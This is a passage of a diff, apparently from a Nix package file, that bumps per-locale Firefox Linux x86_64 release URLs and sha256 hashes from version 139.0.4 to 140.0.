-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/fy-NL/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/fy-NL/firefox-140.0.tar.xz";
       locale = "fy-NL";
       arch = "linux-x86_64";
-      sha256 = "da3063893f76052b19975ad1a5cf59296d2b05ec7756861271c2dfcc9de3997b";
+      sha256 = "9392092b730e7c8d6b31f0bd238dbdd6fae5bc5946566b79d4a5eccc49679e46";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ga-IE/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ga-IE/firefox-140.0.tar.xz";
       locale = "ga-IE";
       arch = "linux-x86_64";
-      sha256 = "443390d6794b84cd0bb2d0856aba154f1b3747fc580141285d5f5f4223d4dbdf";
+      sha256 = "02661776d78c34ebce68fc8e9212a701929bc903f98d7992281a55ab3106fefc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gd/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gd/firefox-140.0.tar.xz";
       locale = "gd";
       arch = "linux-x86_64";
-      sha256 = "0da26d8a5bf46e61ee2bb6a0a585d61aefa398bb970e830e6044931dec7e65b1";
+      sha256 = "73e35e70ede169a0a54e3511107c9e9f956c0ebfb864234c55c166a4e7808c4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gl/firefox-140.0.tar.xz";
       locale = "gl";
       arch = "linux-x86_64";
-      sha256 = "e948e6433e2b5a0455348bcea3dc5ca2d9473e77a260a6a4a9aa49e0d745a20b";
+      sha256 = "830e1df21a6e651be8b1f5f6fc09ea85ce7998c70ccd2f35ebd261ec6751f782";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gn/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gn/firefox-140.0.tar.xz";
       locale = "gn";
       arch = "linux-x86_64";
-      sha256 = "1a9ed525b71685b5ffbc9bb88f006fff1aa634dc437581796baed4f7ed318ac8";
+      sha256 = "383fd396af8bed91630f57957bdc4a32d7823d2f11aada20da4faa327b0d9d06";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/gu-IN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/gu-IN/firefox-140.0.tar.xz";
       locale = "gu-IN";
       arch = "linux-x86_64";
-      sha256 = "9b2255cc4c2ce0901fa2080dd68cc437c26ce51197242837f4f82dacf59070f5";
+      sha256 = "f96beb7adad112dd44fd17987eda338f380d81d6ada43bb3314f45b17e108de9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/he/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/he/firefox-140.0.tar.xz";
       locale = "he";
       arch = "linux-x86_64";
-      sha256 = "7fd2fe76a612667b09ae2547aa83c92023abcee1c3ab18a4645c5e39d3ff2c08";
+      sha256 = "091ca28870c0c7d4a885ef4984a33da727776ec67407708a1865bd3da5c1f1e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hi-IN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hi-IN/firefox-140.0.tar.xz";
       locale = "hi-IN";
       arch = "linux-x86_64";
-      sha256 = "86fcf458b4e72b2345b3d4f22c0eed581ba743a0f44be9c8b1cd07612538154e";
+      sha256 = "0015818d803ad2d7057c6bbbbaac851c5af4f444b54ddf84e0f3922c42124922";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hr/firefox-140.0.tar.xz";
       locale = "hr";
       arch = "linux-x86_64";
-      sha256 = "a084d7d1260b86ac8a5390fe435acc534fe7a4835bc5dae0136232aeb2b00a4e";
+      sha256 = "23153918ffe5fbba01b7fcd9678344f01ed173df05098ed8f4748f0e952282c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hsb/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hsb/firefox-140.0.tar.xz";
       locale = "hsb";
       arch = "linux-x86_64";
-      sha256 = "e7e611f6df72b8019ca44ec6f3ad68365d7dffda5dfa2b6b3025479607f67fdd";
+      sha256 = "1d02b4ac6a84c19aaf704b968ebea63362a1832071f06d8bc3c971c1fcc78675";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hu/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hu/firefox-140.0.tar.xz";
       locale = "hu";
       arch = "linux-x86_64";
-      sha256 = "0c52bf023a58d78b4da76e15c6a127ffb45a2bd58c75ac7572f2ef3decea3cff";
+      sha256 = "46f8e6432511825872c135f9c4a28357b5f6be71fb9a402cf74d4c563ab83c4c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/hy-AM/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/hy-AM/firefox-140.0.tar.xz";
       locale = "hy-AM";
       arch = "linux-x86_64";
-      sha256 = "1ca30d46dfa5a0f372d89c073387fd261db9ec7aa3d1a48f5d6ae09f21a4efb2";
+      sha256 = "225bd4a5220c444e2cadf9534e4f029dbd243f1807a75099ca52cc2ca9433876";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ia/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ia/firefox-140.0.tar.xz";
       locale = "ia";
       arch = "linux-x86_64";
-      sha256 = "75b3a6d0eb90f977370709b03e2d84bb62d25105cfdbb86d6b85d11916546582";
+      sha256 = "7186d41c11410355c485a63c93c26db5be53ac4809c3f8b97751ba50ce719365";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/id/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/id/firefox-140.0.tar.xz";
       locale = "id";
       arch = "linux-x86_64";
-      sha256 = "d4d40d1de930670b5da5edbad90a58d87a9ef1256a90acd42b867322f1069550";
+      sha256 = "f02092fc917e28764c3ae7de11f710105f2333e06553399775e7dce443027c11";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/is/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/is/firefox-140.0.tar.xz";
       locale = "is";
       arch = "linux-x86_64";
-      sha256 = "89805ee54ff0261b9063dfbce2ad833d8967593591adb780ee905b0f55a72191";
+      sha256 = "2b58ae0c0a4deb82ccac32b9099b99e1f33fdea1653c9428f7bdb22ea6359a43";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/it/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/it/firefox-140.0.tar.xz";
       locale = "it";
       arch = "linux-x86_64";
-      sha256 = "1d18aad4f64e91760a5fe18ba26aa2d102a1c5c1977ccd8313a47811bbfb7bb8";
+      sha256 = "7fe96baa0b96be453da1726ceb4e61e6094bd0555f7613588586faac6193ede9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ja/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ja/firefox-140.0.tar.xz";
       locale = "ja";
       arch = "linux-x86_64";
-      sha256 = "1c1304057882bd87a6553c68cca3c9c6341d1f910fc2a8be5918d91e63e82191";
+      sha256 = "ce168d6816fa268761cbc40e5986b7585d0a7d934c04007c75b6d7e0ceaa8049";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ka/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ka/firefox-140.0.tar.xz";
       locale = "ka";
       arch = "linux-x86_64";
-      sha256 = "d6ea469bac110bf20def38bef0d0f1f6c1eb6369ac5ea38e597a78d9be8ceb6d";
+      sha256 = "52c7f357775a89a31b1296683cbd3f108d7078273361c9db233e7fb81f1ab30a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/kab/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/kab/firefox-140.0.tar.xz";
       locale = "kab";
       arch = "linux-x86_64";
-      sha256 = "46a9370b9eb7411955785bfa9c7707720333255014b6fb76b55d26c76aed04f7";
+      sha256 = "7ab9d13435816a8e31c380c3f7e3e2d8b7d0a5ae8ad113c047992fcce7b3ed0d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/kk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/kk/firefox-140.0.tar.xz";
       locale = "kk";
       arch = "linux-x86_64";
-      sha256 = "53bfcb7fb280ad84446a2aee466eb86181f24d6c6ee13989b1cd03e89ebb836b";
+      sha256 = "faeaba4ddd7c4f47535dec8ea2b1fe1d551024559331e7281a542a1440e235d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/km/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/km/firefox-140.0.tar.xz";
       locale = "km";
       arch = "linux-x86_64";
-      sha256 = "8f59704ba6bc586e92402296f801acecb47175194e70f7d2fd102122128af36e";
+      sha256 = "186844b2cc48a1123f6ed8940debd0a3682200977b074d42ca12caa7dd9c4a98";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/kn/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/kn/firefox-140.0.tar.xz";
       locale = "kn";
       arch = "linux-x86_64";
-      sha256 = "0502db9a7390f4918dc7495d1923c10f65a81202f926f5f9c8930e21ae53b504";
+      sha256 = "02e8d601cdc803b5c811448642a11427b99e3aa95049b0930a4e04bc2fcc2056";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ko/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ko/firefox-140.0.tar.xz";
       locale = "ko";
       arch = "linux-x86_64";
-      sha256 = "2beab3ce63ef964f521a0a74ce4f59155b02215e221cf34d3f353cddff79017a";
+      sha256 = "63191dd6dd2d87fc4396f30dcfc558de43b21d7b2d5e0340615978e45e428120";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/lij/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/lij/firefox-140.0.tar.xz";
       locale = "lij";
       arch = "linux-x86_64";
-      sha256 = "3ece05b3bf61cedc4c4e9ff7c783ef5697d10bf5c64d460bb8c4c325caa163c6";
+      sha256 = "e4651aee6e4fa16d6588ba622a076e4f666dc72aa24cceec1205355098a0418e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/lt/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/lt/firefox-140.0.tar.xz";
       locale = "lt";
       arch = "linux-x86_64";
-      sha256 = "e42a660ab50c2fdbd17327c5d6c6d7f84b34a427ab63476ba652813923fda45d";
+      sha256 = "9fa31c718110f2f0e8796381ee5597eb470789f7efd29794a24421c0eadd33e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/lv/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/lv/firefox-140.0.tar.xz";
       locale = "lv";
       arch = "linux-x86_64";
-      sha256 = "32ae55c17cb7ca8876bb8228fdd2f3c1db61e34d421f45c7d1cb44fb9ce20d3f";
+      sha256 = "4df334ded6dd45fbfb851c1f7e1ddcd32d9f18d9f0c7de854cdbac8f30b537fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/mk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/mk/firefox-140.0.tar.xz";
       locale = "mk";
       arch = "linux-x86_64";
-      sha256 = "635c32aefaceb333fcb202425fbee52f31e4de24456d795e7d0a6c09e9f98da9";
+      sha256 = "76469e46b1a5f96ed2d3f5ffc7e04b8091b19d76991b92470b4e6a1dbbde9361";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/mr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/mr/firefox-140.0.tar.xz";
       locale = "mr";
       arch = "linux-x86_64";
-      sha256 = "20355f6b420d2ce43ac8314f7a0ee059076fb8a94c831a21e839b780b24b749a";
+      sha256 = "c9bec0c7ffe836d68f457ea051d486ef8d820935c9e56b0e3b051e587c291ff2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ms/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ms/firefox-140.0.tar.xz";
       locale = "ms";
       arch = "linux-x86_64";
-      sha256 = "1b9bdec98b7c9b12bab7efc119165e62d8cc0a3a43a9f8f8feb5eabf7aa88f2f";
+      sha256 = "f86e7cc3cd6b7354be0e0937492bea873c3ebe266b11a57ebcf78e5e2e0c3d81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/my/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/my/firefox-140.0.tar.xz";
       locale = "my";
       arch = "linux-x86_64";
-      sha256 = "76a2a5edf32125554af394111c4ebaec727c2cbe3967af231f6be2daecd6f448";
+      sha256 = "1c022a0b6833cefa4b1b86dbce08ef8d19c3f4cbd338838ea92e6d36e441d632";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/nb-NO/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/nb-NO/firefox-140.0.tar.xz";
       locale = "nb-NO";
       arch = "linux-x86_64";
-      sha256 = "3382e49c093fcb69f9dfb7621dd4f5de3d8820bf83104d1f05538ad8b8165939";
+      sha256 = "cc50663022fccebdc2913d51b4dbd15296b092bcd77de05587a25201c23a18ec";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ne-NP/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ne-NP/firefox-140.0.tar.xz";
       locale = "ne-NP";
       arch = "linux-x86_64";
-      sha256 = "26537a983ed0a7b01b8ebddafa97f78680f2ed49e738959d43fdeb6c7dbe5c2a";
+      sha256 = "376e34a8162314fee8681da63cf0fb32ec2293d562ff5e98e591b08147290d29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/nl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/nl/firefox-140.0.tar.xz";
       locale = "nl";
       arch = "linux-x86_64";
-      sha256 = "d21d95b1bc2f94b03a3f19690047ae1988b8be01fcc07509f08d95a020ddd21b";
+      sha256 = "7de2bd58b3360efa3de7c4e0763c1ca1c4ee6f99cc30297b69b9cee2fac62dad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/nn-NO/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/nn-NO/firefox-140.0.tar.xz";
       locale = "nn-NO";
       arch = "linux-x86_64";
-      sha256 = "04b5f772b1ae9dac6b04b4ce548583888682f482a2f0459bff995d8ba8544304";
+      sha256 = "9c686e8981c259ce228640c3553da8c239a4aa487ea0105cbb9507ca1dde4099";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/oc/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/oc/firefox-140.0.tar.xz";
       locale = "oc";
       arch = "linux-x86_64";
-      sha256 = "d56bdb33635703b014f3f367ae60ae5d2c3d2e78f375386a909bd5567d844461";
+      sha256 = "17c751b0cb7555f8627e5813332e548cc2477168163cfa0ce2c8617baa11918a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pa-IN/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pa-IN/firefox-140.0.tar.xz";
       locale = "pa-IN";
       arch = "linux-x86_64";
-      sha256 = "178067f1e94cdc889da0129ed2c58d16c5d22f7c77ffe91f31ec32297f0771d0";
+      sha256 = "abf85546602843db28fa42736dbd62023905ae079ccfac51ccefda44b861d6e3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pl/firefox-140.0.tar.xz";
       locale = "pl";
       arch = "linux-x86_64";
-      sha256 = "1ddb01a76f28b567d2db1fa6bc855491f3fa74183ca1249254172865ef77bb9e";
+      sha256 = "42d814bcc07efbcd1fb2b9dafb98fa0caf3607ca79da45beec2f4acbbb452dbe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pt-BR/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pt-BR/firefox-140.0.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "58ae54a2d2e7eb7be41f8fb7f80bb1079d05480c9b9cd10574d6c5d2d2ff4903";
+      sha256 = "60770d39dec007279d6396838a3fadb9a09dc5cb704548a26c83c5220c0e9b94";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/pt-PT/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/pt-PT/firefox-140.0.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "24d8c16d57b2e0a05537dbe1604c185e71e145feb28391a3637e755d995b5fb1";
+      sha256 = "9984d4087c4e770d08edbd0e8e3899e25bb2567b165f9697ce55588ccbbca6ab";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/rm/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/rm/firefox-140.0.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "b6a5b1264958af49edfde10b8382b7fce334e823088d77a7fc8fb667a498f7a4";
+      sha256 = "e127b9d57291b04bdd09b9bd3965d0dd9932726554980c50b37e59e8119e9ca5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ro/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ro/firefox-140.0.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "4e73194bc045f14683813073dbdd080e6186cfd0686b53fcc4db425fd9d1838b";
+      sha256 = "a52cb846b9bf0640022d9c7cdf225bd8f6e7391cb3de3d144fb7e72b6cd7c3af";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ru/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ru/firefox-140.0.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "85a14c256da423a302b8f421d88f825c04257a5e3dec68aa13a6d3b2b3e85dda";
+      sha256 = "b350b95ebb2474018b5ad2a7ed8c3a24797b93a344fa4e0c5b7c36faacd8d925";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sat/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sat/firefox-140.0.tar.xz";
       locale = "sat";
       arch = "linux-x86_64";
-      sha256 = "f27bf4b33ca14dd78b7fc89f9bbc3b333b546205c360f63f7816479ef4025809";
+      sha256 = "b45bb2bb42ab1a7ddef59aa8d4e7127fa4119cbc3f2c991fa66d56fc1a3bd80e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sc/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sc/firefox-140.0.tar.xz";
       locale = "sc";
       arch = "linux-x86_64";
-      sha256 = "47df778b5e1a83fe60082a56e9bda65250ef184abf4f7127fa30ace642ef81e5";
+      sha256 = "8c2b9298aee3939859a7e16796e96453e302448c50ec113cf0b83a8cb3f631e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sco/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sco/firefox-140.0.tar.xz";
       locale = "sco";
       arch = "linux-x86_64";
-      sha256 = "ce671e5af5682e095e96552e5e407a301ad2e545766318e59cbc4ddae8792e62";
+      sha256 = "9ea7106a5014e3bc3eaeccc120ed3a4e288f20c935ecd6973c6e624777e0d919";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/si/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/si/firefox-140.0.tar.xz";
       locale = "si";
       arch = "linux-x86_64";
-      sha256 = "ea337ce012881ada3a142900fb1f7390ba84a3f38e085d670a8db4c810607689";
+      sha256 = "959fc2f8aa6e471a23d63bd4ca319583de066c0ccc338968fcbc446653d4050d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sk/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sk/firefox-140.0.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "a05d7215de61dc20252969a3b1adbba0d7b9ce474f555ef1d59ccfc012faa53d";
+      sha256 = "482a7fe99df4cb564ac0b87700758cf57ae66ee0ce763102b9b3e433f0fae203";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/skr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/skr/firefox-140.0.tar.xz";
       locale = "skr";
       arch = "linux-x86_64";
-      sha256 = "57a2cadc0f4c1ebdb91454433ed3d46e7ae8885b5918ef5969c95d879c655b19";
+      sha256 = "371f21950abe4bb4cc5b6d19a3aed37899791fd546c08a7c35a75a3d018ad2d1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sl/firefox-140.0.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "17d516442c8fe6dfc8813101e6a4e93f68f16d13e24794c41303e23030e6ce82";
+      sha256 = "2d66e0f786a0950d5f7ebf13984ea449c0c279946b7853514d27b10c3ec8564c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/son/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/son/firefox-140.0.tar.xz";
       locale = "son";
       arch = "linux-x86_64";
-      sha256 = "4abfd19e1af1ef6b6e0010cf5efb2ef55ba5aaea4e029e1383b5146557860a51";
+      sha256 = "640c413f78778af96a8e00e7055a2e2461f96429614626fead6350a008bdab9f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sq/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sq/firefox-140.0.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "4092fdf3144d610c5d4d5d367dbae82356d7928e2f6adb960453b44b89144ab7";
+      sha256 = "96aba308c3bc6f60440cf6ae9bfcbd5cc3619caf806b75d61e8281e06f2c3590";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sr/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sr/firefox-140.0.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "684263380f03524571b23c7872313363eceb952173fe257b4cf2c4035f5393bb";
+      sha256 = "a0eac5cd18d82350ba8ee8d98498a3bd6b83223269257e89d7ef72c625891252";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/sv-SE/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/sv-SE/firefox-140.0.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "301deb5f1ebf0c8c7d659c437d7d89c91fa881608a5a4461e345d5b5e3b75c46";
+      sha256 = "88443bae7fb75700d5ebd1dde43e87f3b952950f4dd1f66d72b0b8642b5263be";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/szl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/szl/firefox-140.0.tar.xz";
       locale = "szl";
       arch = "linux-x86_64";
-      sha256 = "e5ff830a49042bf2bdb49d5b9627a981f41222b4bc0b35fb0fdd740c093b526c";
+      sha256 = "3dc8fbd415b091f83931f3c1ee100d252fa98cf23bdffd5f7a5f3128890f4873";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/ta/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/ta/firefox-140.0.tar.xz";
       locale = "ta";
       arch = "linux-x86_64";
-      sha256 = "3e42562dc712c3d1eea01a853c9c269dec150491369a7f94a088f61e04eb52cb";
+      sha256 = "c93f8cf18af8ce43f823d9d3e335a990955fd290d56ae05ba0cbd86ff7057825";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/te/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/te/firefox-140.0.tar.xz";
       locale = "te";
       arch = "linux-x86_64";
-      sha256 = "afaaac45d761de23084ba0451b20b9ef242aa46cfdc36a59ca54a570067af0b4";
+      sha256 = "39467355eb95cf8e16792859b4127bd891df66741aa393ec18959a86f3607817";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/tg/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/tg/firefox-140.0.tar.xz";
       locale = "tg";
       arch = "linux-x86_64";
-      sha256 = "0803a98962b05a22772c6d84bc9625a25f8bef046996cc709b85a73fced57ff1";
+      sha256 = "5883e551dae197305b62afba282d6b47687fc39b2eb495a2f6245d58490765fa";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/th/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/th/firefox-140.0.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "1e67f3c723c6b50c99a61815a19d0e7aa488de58f0a3b77aef0dfc9f95de20ba";
+      sha256 = "806451bd3a77b18aa57507670d2953488106f3574ba515fa1a957997d53b94e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/tl/firefox-139.0.4.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0/linux-x86_64/tl/firefox-140.0.tar.xz";
       locale = "tl";
       arch = "linux-x86_64";
-      sha256 = "8a036dbbd704d47ac6f135a5b44acf7a726ee8721b0fcbca9ce7150115c32732";
+      sha256 = "244a31b6015f93b9f17058443f3ca61417cd786c80d8950aec8cef8bbf946832";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.4/linux-x86_64/tr/firefox-139.0.4.tar.xz";
